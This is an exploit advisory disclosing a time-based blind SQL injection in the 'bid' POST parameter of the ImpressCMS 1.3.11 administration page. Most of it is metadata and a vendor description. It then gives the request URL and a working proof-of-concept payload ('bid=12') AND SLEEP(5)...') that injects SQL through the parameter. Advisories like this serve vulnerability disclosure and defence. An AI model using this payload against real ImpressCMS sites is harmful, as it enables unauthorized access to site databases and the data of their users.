ImpressCMS 1.3.11 SQL Injection

`# Title: ImpressCMS 1.3.11 - 'bid' SQL Injection  
# Date: 21.01.2019  
# Exploit Author: Mehmet Onder Key  
# Vendor Homepage: http://www.impresscms.org/  
# Software Link:  
https://sourceforge.net/projects/impresscms/files/v1.3.11/impresscms_1.3.11.zip  
# Version: v1.3.11  
# Category: Webapps  
# Tested on: WAMPP @Win  
# Software description:  
ImpressCMS is a community developed Content Management System. With this  
tool maintaining the content of a website becomes as easy as writing a word  
document. ImpressCMS is the ideal tool for a wide range of users: from  
business to community users, from large enterprises to people who want a  
simple, easy to use blogging tool.  
  
# Vulnerabilities:  
# An attacker can access all data following an un/authorized user login  
using the parameter.  
  
  
# POC - SQLi :  
  
# Parameter: bid (POST)  
# Request URL: http://localhost/impress/modules/system/admin.php?bid=12  
  
# Type : time-based blind  
bid=12') AND SLEEP(5) AND ('Bjhx'='Bjhx&fct=blocksadmin&op=up&rtn=Lw==  
  
`